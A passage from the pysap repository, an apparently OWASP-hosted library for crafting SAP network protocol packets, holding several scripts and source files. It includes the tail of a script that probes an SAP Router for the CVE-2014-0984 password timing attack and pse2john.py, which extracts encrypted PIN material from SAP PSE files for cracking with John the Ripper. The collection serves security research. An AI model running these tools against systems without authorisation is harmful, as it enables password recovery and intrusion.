https://github.com/seecurity/mona-timing-lib") 119 | return 120 | 121 | # Initiate the connection 122 | conn = SAPNIStreamSocket.get_nisocket(options.remote_host, options.remote_port) 123 | logging.info("[*] Connected to the SAP Router %s:%d" % (options.remote_host, options.remote_port)) 124 | 125 | # Retrieve the router version used by the server if not specified 126 | if options.router_version is None: 127 | options.router_version = get_router_version(conn) 128 | 129 | logging.info("[*] Using SAP Router version %d" % options.router_version) 130 | 131 | logging.info("[*] Checking if the server is vulnerable to a timing attack (CVE-2014-0984) ...") 132 | 133 | with open(options.output, "w") as f: 134 | 135 | c = 0 136 | for i in range(0, len(options.password) + 1): 137 | password = options.password[:i] + "X" * (len(options.password) - i) 138 | logging.info("[*] Trying with password (%s) len %d" % (password, len(password))) 139 | for _ in range(0, options.tries): 140 | try_password(options, password, f, c) 141 | c += 1 142 | 143 | 144 | if __name__ == "__main__": 145 | main() 146 | -------------------------------------------------------------------------------- /extra/parsesupportbits.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | from argparse import ArgumentParser 22 | # Custom imports 23 | import pysap 24 | 25 | 26 | # Command line options parser 27 | def parse_options(): 28 | 29 | description = "This script can be used to parse support bits info and generate required info for pysap/wireshark "\ 30 | "plugin. Input file can be obtained from SAP Gui traces (for example file 'sapguidll_01_0001.trc')." 31 | 32 | usage = "%(prog)s -i " 33 | 34 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 35 | parser.add_argument("-i", "--input", dest="input_file", help="Input file") 36 | 37 | options = parser.parse_args() 38 | 39 | if not options.input_file: 40 | parser.error("Input file required") 41 | 42 | return options 43 | 44 | 45 | # Main function 46 | def main(): 47 | options = parse_options() 48 | print("[*] Parsing input file", options.input_file) 49 | 50 | # Read and parse the data 51 | with open(options.input_file, 'r') as f: 52 | input_data = f.readlines() 53 | 54 | data = {} 55 | for line in input_data: 56 | support_bit = line.split(' ', 1)[1].split('(', 1) 57 | name, bit = support_bit[0], int(support_bit[1].split(')', 1)[0]) 58 | data[bit] = name 59 | 60 | # Fill missing bits 61 | unknown_no = unused_no = 1 62 | for bit in range(0, max(data.keys()) + 1): 63 | if bit in data: 64 | name = data[bit].replace(' ', '_') 65 | if name == "UNUSED": 66 | name = "UNUSED_%d" % unused_no 67 | unused_no += 1 68 | 69 | unknown = False 70 | else: 71 | name = "UNKNOWN_%d" % unknown_no 72 | unknown_no += 1 73 | unknown = True 74 | 75 | data[bit] = name, unknown 76 | 77 | pysap = wireshark_define = wireshark_hf = wireshark_parse = wireshark_module = '' 78 | bitfields = [] 79 | currentbyte = [] 80 | for bit in list(data.keys()): 81 | name, unknown = data[bit] 82 | notice = " (Unknown support bit)" if unknown else '' 83 | 84 | if (bit % 8) == 0 and bit != 0: 85 | bitfields.extend(reversed(currentbyte)) 86 | currentbyte = [] 87 | wireshark_define += '\n' 88 | wireshark_parse += 'offset+=1;\n' 89 | wireshark_module += '\n' 90 | 91 | currentbyte.append((name, bit, notice)) 92 | 93 | bitt = 1 << bit % 8 94 | wireshark_define += '#define SAPDIAG_SUPPORT_BIT_%s\t0x%02x /* %d%s */\n' % (name, bitt, bit, notice) 95 | 96 | wireshark_hf += 'static int hf_SAPDIAG_SUPPORT_BIT_%s = -1;\n' % name 97 | 98 | wireshark_parse += 'proto_tree_add_item(tree, hf_SAPDIAG_SUPPORT_BIT_%s, tvb, offset, 1, ENC_BIG_ENDIAN);' \ 99 | ' /* %d%s */\n' % (name, bit, notice) 100 | 101 | wireshark_module += '{ &hf_SAPDIAG_SUPPORT_BIT_%s,\n\t{ "Support Bit %s", ' \ 102 | '"sapdiag.diag.supportbits.%s", FT_BOOLEAN, 8, NULL, ' \ 103 | 'SAPDIAG_SUPPORT_BIT_%s, "SAP Diag Support Bit %s",\n\tHFILL }},\n' % (name, name, name, 104 | name, name) 105 | for bit, bitfield in enumerate(bitfields): 106 | if (bit % 8) == 0 and bit != 0: 107 | pysap += '\n' 108 | pysap += ' BitField("%s", 0, 1), # %d%s\n' % bitfield 109 | pysap += '\n BitField("padding_bits", 0, %d), ]' % (256 - len(bitfields)) 110 | 111 | print("[*] pysap SAPDiagItems definition:") 112 | print(pysap) 113 | print("[*] wireshark plugin define:") 114 | print(wireshark_define) 115 | print("[*] wireshark plugin hf definitions:") 116 | print(wireshark_hf) 117 | print("[*] wireshark plugin parsing:") 118 | print(wireshark_parse) 119 | print("[*] wireshark plugin module:") 120 | print(wireshark_module) 121 | 122 | 123 | if __name__ == "__main__": 124 | main() 125 | -------------------------------------------------------------------------------- /extra/pse2john.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | from os import path 22 | from sys import stdout 23 | from binascii import hexlify 24 | from argparse import ArgumentParser 25 | # Custom imports 26 | import pysap 27 | from pysap.SAPPSE import (SAPPSEFile, PKCS12_ALGORITHM_PBE1_SHA_3DES_CBC) 28 | 29 | 30 | # Command line options parser 31 | def parse_options(): 32 | 33 | description = "This script can be used to parse PSE files and extract encrypted material and data in a format that" \ 34 | "John the Ripper or other cracking tools can use to look for the decryption PIN." 35 | 36 | usage = "%(prog)s " 37 | 38 | parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) 39 | parser.add_argument("-o", "--output", help="Filename to write the output to [stdout]") 40 | 41 | options, args = parser.parse_known_args() 42 | 43 | return options, args 44 | 45 | 46 | def parse_pse(filename): 47 | """Parses a PSE file and produces """ 48 | with open(filename, "rb") as fp: 49 | data = fp.read() 50 | 51 | pse_file = SAPPSEFile(data) 52 | 53 | if pse_file.enc_cont.algorithm_identifier.alg_id == PKCS12_ALGORITHM_PBE1_SHA_3DES_CBC: 54 | pbe_algo = 1 55 | salt = hexlify(pse_file.enc_cont.algorithm_identifier.parameters.salt.val) 56 | salt_size = len(pse_file.enc_cont.algorithm_identifier.parameters.salt.val) 57 | iterations = pse_file.enc_cont.algorithm_identifier.parameters.iterations.val 58 | iv = "" 59 | iv_size = len(iv) 60 | else: 61 | raise Exception("Unsupported encryption algorithm") 62 | 63 | encrypted_pin = hexlify(pse_file.enc_cont.encrypted_pin.val) 64 | encrypted_pin_length = len(pse_file.enc_cont.encrypted_pin.val) 65 | 66 | return "{}:$pse${}${}${}${}${}${}${}${}:::::\n".format( 67 | path.basename(filename), pbe_algo, iterations, salt_size, salt, iv_size, iv, 68 | encrypted_pin_length, encrypted_pin) 69 | 70 | 71 | if __name__ == "__main__": 72 | options, args = parse_options() 73 | 74 | # Select the output file to write 75 | if options.output: 76 | f = open(options.output, "w") 77 | else: 78 | f = stdout 79 | 80 | # Parse all the files and write output 81 | for i in range(0, len(args)): 82 | line = parse_pse(args[i]) 83 | f.write(line) 84 | 85 | # Close the file descriptor 86 | if options.output: 87 | f.close() 88 | -------------------------------------------------------------------------------- /pysap/SAPSNC.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # External imports 20 | from scapy.fields import (ByteField, ShortField, IntField, StrFixedLenField, FieldLenField, StrLenField, 21 | ConditionalField, ByteEnumKeysField, ShortEnumKeysField) 22 | # Custom imports 23 | from pysap.utils.fields import (PacketNoPadded) 24 | 25 | 26 | # SNC Frame Types 27 | snc_frame_type = { 28 | 0x00: "REVERSE_REQ", 29 | 0x01: "INIT_REQ", 30 | 0x02: "INIT", 31 | 0x03: "INIT_ACK", 32 | 0x04: "ACCEPT", 33 | 0x05: "ACCEPT_ACK", 34 | 0x06: "ACCEPT_FAILED", 35 | 0x07: "DATA_OPEN", 36 | 0x08: "DATA_MIC/DATA_SIGNED", 37 | 0x09: "DATA_WRAP/DATA_SEALED", 38 | 0x0a: "SHUTDOWN", 39 | 0x0b: "SHUTDOWN_MSG", 40 | 0x0c: "REJECTED", 41 | 0x0d: "ERROR", 42 | 0x0e: "UNKNOWN", 43 | } 44 | 45 | # SNC Mech ID values 46 | snc_mech_id_values = { 47 | 0x00: "No security", 48 | 0x01: "Generic GSS-API v2 Mechanism", 49 | 0x02: "Kerberos 5/GSS-API v2", 50 | 0x03: "Secude 5 GSS-API v2", 51 | 0x04: "SAP's GSS-API v2 over NTLM(SSPI)", 52 | 0x05: "SPKM1 GSS-API v2 library", 53 | 0x06: "SPKM2 GSS-API v2 library", 54 | 0x07: "reserved ID", 55 | 0x08: "itsec", 56 | 0x09: "SDTI Connect Agent", 57 | 0x0a: "AccessMaster DCE", 58 | } 59 | 60 | # SNC Quality of protection values 61 | snc_qop = { 62 | 0x00: "INVALID", 63 | 0x01: "OPEN", 64 | 0x02: "INTEGRITY/SIGNED", 65 | 0x03: "PRIVACY/SEALED", 66 | 0x07: "MIN", 67 | 0x08: "DEFAULT", 68 | 0x09: "MAX", 69 | } 70 | 71 | 72 | class SAPSNCFrame(PacketNoPadded): 73 | """SAP SNC Frame packet 74 | 75 | This packet is used to contain and wrap SNC Frames. 76 | """ 77 | name = "SAP SNC Frame" 78 | fields_desc = [ 79 | StrFixedLenField("eye_catcher", "SNCFRAME", 8), 80 | ByteEnumKeysField("frame_type", 2, snc_frame_type), 81 | ByteField("protocol_version", 5), 82 | ShortField("header_length", 24), 83 | FieldLenField("token_length", 0, length_of="token", fmt="I"), 84 | FieldLenField("data_length", 0, length_of="data", fmt="I"), 85 | ShortEnumKeysField("mech_id", 3, snc_mech_id_values), 86 | ShortField("flags", 0), 87 | ConditionalField(IntField("ext_flags", 0), lambda pkt: pkt.header_length > 24), 88 | ConditionalField(FieldLenField("ext_field_length", 0, length_of="ext_fields", fmt="!H"), lambda pkt: pkt.header_length > 24), 89 | ConditionalField(StrLenField("ext_fields", "", length_from=lambda pkt:pkt.ext_field_length), lambda pkt: pkt.header_length > 24), 90 | StrLenField("token", "", length_from=lambda pkt:pkt.token_length), 91 | StrLenField("data", "", length_from=lambda pkt:pkt.data_length), 92 | ] 93 | 94 | 95 | def unwrap_snc(s, offset): 96 | """Unwraps an SNC frame if it's possible. This is, if the frame type is 97 | data open or signed but not encrypted. Appends the unwrapped data to the 98 | end of the string being dissected and adjust the offset properly to skip 99 | the SNC frame. 100 | 101 | :param s: string to dissect 102 | :type s: C{string} 103 | 104 | :param offset: offset where the SNC frame starts 105 | :type offset: int 106 | 107 | :return: tuple of string with the SNC frame wrapped, adjusted offset 108 | :rtype: tuple of C{string}, int 109 | """ 110 | 111 | snc_frame = SAPSNCFrame(s[offset:]) 112 | if snc_frame.frame_type in [0x07, 0x08] and snc_frame.data_length > 0: 113 | s = s + snc_frame.data 114 | offset += snc_frame.header_length + snc_frame.token_length + snc_frame.data_length 115 | 116 | return s, offset 117 | 118 | 119 | def wrap_snc(s, offset, data): 120 | """Wraps an SNC frame if it's possible. This is, if the frame type is 121 | data open. Adds the data to the frame and properly updates the length 122 | field on the SNC frame. 123 | 124 | :param s: string to dissect 125 | :type s: string 126 | 127 | :param offset: offset where the SNC frame starts 128 | :type offset: int 129 | 130 | :param data: data to wrap 131 | :type data: string 132 | 133 | :return: string with the SNC frame wrapped 134 | :rtype: string 135 | """ 136 | 137 | snc_frame = SAPSNCFrame(s[offset:]) 138 | if snc_frame.frame_type == 0x07: 139 | snc_frame.data = data 140 | snc_frame.data_length = len(data) 141 | snc_frame_length = snc_frame.header_length + snc_frame.token_length + snc_frame.data_length 142 | s = s[:offset] + str(snc_frame)[:snc_frame_length] 143 | 144 | return s 145 | -------------------------------------------------------------------------------- /pysap/__init__.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | __title__ = 'pysap' 20 | """The title of the library""" 21 | 22 | __version__ = '0.1.20.dev0' 23 | """The version of pysap""" 24 | 25 | __url__ = "https://owasp.org/www-project-core-business-application-security/" 26 | """The URL for pysap's homepage""" 27 | 28 | __repo__ = "https://github.com/OWASP/pysap" 29 | """The URL for pysap's repository""" 30 | 31 | __license__ = "GNU General Public License v2 or later (GPLv2+)" 32 | """The license governing the use and distribution of pysap""" 33 | 34 | epilog = "pysap %(version)s - %(url)s - %(repo)s" % {"version": __version__, 35 | "url": __url__, 36 | "repo": __repo__} 37 | """Epilog to use in example and tools to print out version numbers""" 38 | -------------------------------------------------------------------------------- /pysap/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | from Queue import Queue 21 | from threading import Thread, Event 22 | 23 | 24 | class Worker(Thread): 25 | """Thread Worker 26 | 27 | It runs a function into a new thread. 28 | """ 29 | 30 | def __init__(self, decoder, function): 31 | Thread.__init__(self) 32 | self.decoder = decoder 33 | self.function = function 34 | self.stopped = Event() 35 | 36 | def run(self): 37 | while not self.stopped.is_set(): 38 | self.function() 39 | 40 | def stop(self): 41 | self.stopped.set() 42 | 43 | 44 | # Simple Thread Pool implementation based on http://code.activestate.com/recipes/577187-python-thread-pool/ 45 | # WorkerQueue class 46 | class WorkerQueue(Thread): 47 | """Thread executing tasks from a given tasks queue""" 48 | def __init__(self, tasks): 49 | Thread.__init__(self) 50 | self.tasks = tasks 51 | self.daemon = True 52 | self.start() 53 | 54 | def run(self): 55 | while True: 56 | func, args, kargs = self.tasks.get() 57 | try: 58 | func(*args, **kargs) 59 | except Exception as e: 60 | print(e) 61 | self.tasks.task_done() 62 | 63 | 64 | # ThreadPool class 65 | class ThreadPool(object): 66 | """Pool of threads consuming tasks from a queue""" 67 | def __init__(self, num_threads): 68 | self.tasks = Queue(num_threads) 69 | for _ in range(num_threads): 70 | WorkerQueue(self.tasks) 71 | 72 | def add_task(self, func, *args, **kargs): 73 | """Add a task to the queue""" 74 | self.tasks.put((func, args, kargs)) 75 | 76 | def wait_completion(self): 77 | """Wait for completion of all the tasks in the queue""" 78 | self.tasks.join() 79 | -------------------------------------------------------------------------------- /pysap/utils/console.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | from cmd import Cmd 21 | # Optional imports 22 | try: 23 | from tabulate import tabulate 24 | except ImportError: 25 | tabulate = None 26 | 27 | 28 | # Base Console 29 | class BaseConsole (Cmd, object): 30 | 31 | # Initialization 32 | def __init__(self, options): 33 | super(BaseConsole, self).__init__() 34 | self.prompt = "pysap's console>" 35 | self._hist = [] 36 | self.options = options 37 | self.runtimeoptions = {} 38 | 39 | # Console Command definitions 40 | def do_history(self, args): 41 | """Show commands history.""" 42 | self._print(self._hist) 43 | 44 | def do_exit(self, args): 45 | """Exit console.""" 46 | return -1 47 | 48 | def do_help(self, args): 49 | """Show help.""" 50 | super(BaseConsole, self).do_help(args) 51 | 52 | def do_options(self, args): 53 | """Show/set options.""" 54 | # If no args, print the current options 55 | if not args: 56 | options_dict = vars(self.options) 57 | self._print("Configuration options:") 58 | for option, value in list(options_dict.items()): 59 | self._print("[" + option + "] = " + str(value)) 60 | 61 | self._print("Run-time options:") 62 | for option in list(self.runtimeoptions.keys()): 63 | self._print("[" + option + "] = " + str(self.runtimeoptions[option])) 64 | # Set a run-time option 65 | else: 66 | args = args.split(" ", 1) 67 | if len(args) == 2: 68 | option = args.pop(0) # Extract the option 69 | value = args.pop(0) 70 | if option in list(self.runtimeoptions.keys()): 71 | self.runtimeoptions[option] = value 72 | else: 73 | self._error("Invalid or non run-time option.") 74 | else: 75 | self._error("Invalid number of parameters.") 76 | self.do_help("options") 77 | 78 | def complete_options(self, text, line, begidx, endidx): 79 | if not text: # Complete list of run-time options 80 | return list(self.runtimeoptions.keys()) 81 | else: # Options starting with text 82 | return [option for option in list(self.runtimeoptions.keys()) if option.startswith(text)] 83 | 84 | def do_script(self, args): 85 | """Runs a script file.""" 86 | if not args: 87 | self._error("Invalid number of parameters.") 88 | self.do_help("script") 89 | else: 90 | try: 91 | scriptfile = open(args, 'r') 92 | for line in scriptfile: 93 | if not line[0] in ["\n", "#"]: 94 | self.precmd(line) 95 | self.onecmd(line) 96 | except IOError: 97 | self._error("Error reading script file.") 98 | 99 | # Console output methods 100 | 101 | def _tabulate(self, table, **args): 102 | if tabulate: 103 | tabular = tabulate(table, args) 104 | self._print(tabular) 105 | else: 106 | self._print("\n".join("\t| ".join([str(col).strip() for col in line]).expandtabs(20) for line in table)) 107 | 108 | def _print(self, string=""): 109 | print(str(string)) 110 | self._log(string) 111 | 112 | def _log(self, string=""): 113 | if self.options.consolelog: # To console file if specified 114 | self.options.consolelog.write(str(string) + "\n") 115 | 116 | def _debug(self, string=""): 117 | if self.options.verbose: 118 | self._print(string) 119 | 120 | def _error(self, string): 121 | self._print("Error: " + string) # To console if log file specified 122 | 123 | # Override of cmd.Cmd methods and hooks 124 | 125 | def preloop(self): 126 | super(BaseConsole, self).preloop() 127 | self._hist = [] 128 | self._debug("Entering console " + self.intro) 129 | self._log(self.ruler * 24) 130 | self._log(self.intro) 131 | 132 | def postloop(self): 133 | super(BaseConsole, self).postloop() 134 | self._debug("Exiting console " + self.intro) 135 | self._log(self.ruler * 24) 136 | self._log() 137 | 138 | def precmd(self, line): 139 | self._hist += [line.strip()] 140 | self._debug("Executing console command: " + line) 141 | self._log(self.prompt + str(line)) 142 | return line 143 | 144 | def postcmd(self, stop, line): 145 | return super(BaseConsole, self).postcmd(stop, line) 146 | 147 | def emptyline(self): 148 | pass 149 | -------------------------------------------------------------------------------- /pysapcompress/hpa101saptype.h: -------------------------------------------------------------------------------- 1 | /* @(#) saptype.h 20.24 SAP 98/02/12 2 | 3 | 4 | ========== licence begin GPL 5 | Copyright (c) 2000-2005 SAP AG 6 | 7 | This program is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU General Public License 9 | as published by the Free Software Foundation; either version 2 10 | of the License, or (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program; if not, write to the Free Software 19 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 20 | ========== licence end 21 | 22 | 23 | 24 | 25 | */ 26 | typedef char SAP_CHAR; 27 | typedef unsigned char SAP_BYTE; /* Value range: 0 .. UCHAR_MAX */ 28 | typedef short SAP_SHORT; /* Value range: SHRT_MIN .. SHRT_MAX */ 29 | typedef unsigned short SAP_USHORT; /* Value range: */ 30 | typedef int SAP_INT; /* Value range: */ 31 | typedef unsigned int SAP_UINT; /* Value range: */ 32 | 33 | 34 | /**********************************************************************/ 35 | /* Min/max macros */ 36 | /* To prevent compiler warnings the macros MAX and MIN now have the */ 37 | /* same wording as those in /usr/include/sys/param.h. */ 38 | /**********************************************************************/ 39 | #ifndef MIN 40 | #define MIN(a,b) (((a)<(b))?(a):(b)) 41 | #endif 42 | 43 | #ifndef MAX 44 | #define MAX(a,b) (((a)>(b))?(a):(b)) 45 | #endif 46 | 47 | #define SAPonNT 48 | 49 | #define USE(param) ((param)=(param)) 50 | 51 | 52 | -------------------------------------------------------------------------------- /pysapcompress/hpa104CsObject.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | 4 | 5 | ========== licence begin GPL 6 | Copyright (c) 2000-2005 SAP AG 7 | 8 | This program is free software; you can redistribute it and/or 9 | modify it under the terms of the GNU General Public License 10 | as published by the Free Software Foundation; either version 2 11 | of the License, or (at your option) any later version. 12 | 13 | This program is distributed in the hope that it will be useful, 14 | but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | GNU General Public License for more details. 17 | 18 | You should have received a copy of the GNU General Public License 19 | along with this program; if not, write to the Free Software 20 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 21 | ========== licence end 22 | 23 | 24 | 25 | 26 | 27 | */ 28 | // CsObject.h: interface for the CsObject class. 29 | // 30 | ////////////////////////////////////////////////////////////////////// 31 | 32 | #if !defined(AFX_CSOBJECT_H__2AFFECE5_60FE_11D2_87FA_204C4F4F5020__INCLUDED_) 33 | #define AFX_CSOBJECT_H__2AFFECE5_60FE_11D2_87FA_204C4F4F5020__INCLUDED_ 34 | 35 | #if _MSC_VER >= 1000 36 | #pragma once 37 | #endif // _MSC_VER >= 1000 38 | 39 | #ifndef NEAR 40 | #ifdef SAPonWINDOWS 41 | #define NEAR _near 42 | #else 43 | #define NEAR 44 | #endif 45 | #endif 46 | 47 | 48 | /*--------------------------------------------------------------------*/ 49 | /* Flags for CsCompr and CsDecompr */ 50 | /*--------------------------------------------------------------------*/ 51 | #define CS_LZH_VERSION 1 52 | 53 | #define CS_LZH1 (1 << 4) 54 | #define CS_LZH2 (2 << 4) 55 | #define CS_LZH3 (3 << 4) 56 | #define CS_LZH4 (4 << 4) 57 | #define CS_LZH5 (5 << 4) 58 | #define CS_LZH6 (6 << 4) 59 | #define CS_LZH7 (7 << 4) 60 | #define CS_LZH8 (8 << 4) 61 | #define CS_LZH9 (9 << 4) 62 | 63 | 64 | /* call flags for compression ........................................*/ 65 | #define CS_NORMAL_COMPRESS 0x0 /* normal .....................*/ 66 | #define CS_INIT_COMPRESS 0x1 /* first call CsCompr..........*/ 67 | #define CS_INIT_DECOMPRESS 0x1 /* first call CsDeCompr........*/ 68 | 69 | #define CS_LZC 0x0 /* use lzc ....................*/ 70 | #define CS_LZH 0x2 /* use lzh ....................*/ 71 | #define CS_GRAPHIC_DATA 0x8 /* not supported now ..........*/ 72 | 73 | /* Header info in compressed file ....................................*/ 74 | #define CS_ALGORITHM_LZC (SAP_BYTE) 1 75 | #define CS_ALGORITHM_LZH (SAP_BYTE) 2 76 | 77 | #define CS_HEAD_SIZE 8 /* size of common header ......*/ 78 | 79 | /*--------------------------------------------------------------------*/ 80 | /* Error & Return Codes for CsCompr and CsDecompr */ 81 | /*--------------------------------------------------------------------*/ 82 | #define CS_END_INBUFFER 3 /* End of input buffer ........*/ 83 | #define CS_END_OUTBUFFER 2 /* End of output buffer .......*/ 84 | #define CS_END_OF_STREAM 1 /* End of data ................*/ 85 | #define CS_OK 0 86 | 87 | #define CS_IEND_OF_STREAM -1 /* End of data (internal) .....*/ 88 | #define CS_IEND_OUTBUFFER -2 /* End of output buffer .......*/ 89 | #define CS_IEND_INBUFFER -3 /* End of input buffer ........*/ 90 | 91 | #define CS_ERROR -10 /* First Error Code ...........*/ 92 | #define CS_E_OUT_BUFFER_LEN -10 /* Invalid output length ......*/ 93 | #define CS_E_IN_BUFFER_LEN -11 /* Invalid input length .......*/ 94 | #define CS_E_NOSAVINGS -12 95 | #define CS_E_INVALID_SUMLEN -13 /* Invalid len of stream ......*/ 96 | #define CS_E_IN_EQU_OUT -14 /* inbuf == outbuf ............*/ 97 | #define CS_E_INVALID_ADDR -15 /* inbuf == NULL,outbuf == NULL*/ 98 | #define CS_E_FATAL -19 /* Internal Error ! ...........*/ 99 | #define CS_E_BOTH_ZERO -20 /* inlen = outlen = 0 .........*/ 100 | #define CS_E_UNKNOWN_ALG -21 /* unknown algorithm ..........*/ 101 | #define CS_E_UNKNOWN_TYPE -22 102 | 103 | /* for decompress */ 104 | #define CS_E_FILENOTCOMPRESSED -50 /* Input not compressed .......*/ 105 | #define CS_E_MAXBITS_TOO_BIG -51 /* maxbits to large ...........*/ 106 | #define CS_E_BAD_HUF_TREE -52 /* bad hufman tree ..........*/ 107 | #define CS_E_NO_STACKMEM -53 /* no stack memory in decomp ..*/ 108 | #define CS_E_INVALIDCODE -54 /* invalid code ...............*/ 109 | #define CS_E_BADLENGTH -55 /* bad lengths ................*/ 110 | 111 | #define CS_E_STACK_OVERFLOW -60 /* stack overflow in decomp */ 112 | #define CS_E_STACK_UNDERFLOW -61 /* stack underflow in decomp */ 113 | 114 | /* only Windows */ 115 | #define CS_NOT_INITIALIZED -71 /* storage not allocated ......*/ 116 | 117 | 118 | /* Internal Implementation class */ 119 | class CsObjectInt; 120 | 121 | class CsObject 122 | { 123 | private: 124 | CsObjectInt * Cs; 125 | 126 | public: 127 | CsObject (); 128 | virtual ~CsObject (); 129 | 130 | virtual int CsCompr (SAP_INT sumlen, 131 | SAP_BYTE * inbuf, 132 | SAP_INT inlen, 133 | SAP_BYTE * outbuf, 134 | SAP_INT outlen, 135 | SAP_INT option, 136 | SAP_INT * bytes_read, 137 | SAP_INT * bytes_written); 138 | 139 | virtual int CsDecompr (SAP_BYTE * inbuf, /* ptr input .......*/ 140 | SAP_INT inlen, /* len of input ....*/ 141 | SAP_BYTE * outbuf, /* ptr output ......*/ 142 | SAP_INT outlen, /* len output ......*/ 143 | SAP_INT option, /* decompr. option */ 144 | SAP_INT * bytes_read, /* bytes read ......*/ 145 | SAP_INT * bytes_decompressed); /* bytes decompr. */ 146 | 147 | virtual int CsGetAlgorithm (SAP_BYTE * data); 148 | 149 | virtual SAP_INT CsGetLen (SAP_BYTE * data); 150 | virtual int CsGetVersion (SAP_BYTE * data); 151 | 152 | virtual int CsSetHead (SAP_BYTE * outbuf, 153 | SAP_INT len, 154 | SAP_BYTE veralg, 155 | SAP_BYTE special); 156 | 157 | virtual int CsInitCompr (SAP_BYTE * outbuf, SAP_INT sumlen, SAP_INT option); 158 | virtual int CsInitDecompr (SAP_BYTE * inbuf); 159 | }; 160 | 161 | #endif // !defined(AFX_CSOBJECT_H__2AFFECE5_60FE_11D2_87FA_204C4F4F5020__INCLUDED_) 162 | -------------------------------------------------------------------------------- /pysapcompress/hpa107cslzh.h: -------------------------------------------------------------------------------- 1 | /*@(#)cslzh.h 20.7 SAP 97/11/11 2 | 3 | 4 | ========== licence begin GPL 5 | Copyright (c) 1994-2005 SAP AG 6 | 7 | This program is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU General Public License 9 | as published by the Free Software Foundation; either version 2 10 | of the License, or (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program; if not, write to the Free Software 19 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 20 | ========== licence end 21 | 22 | 23 | 24 | 25 | */ 26 | 27 | /* 28 | * SAP AG 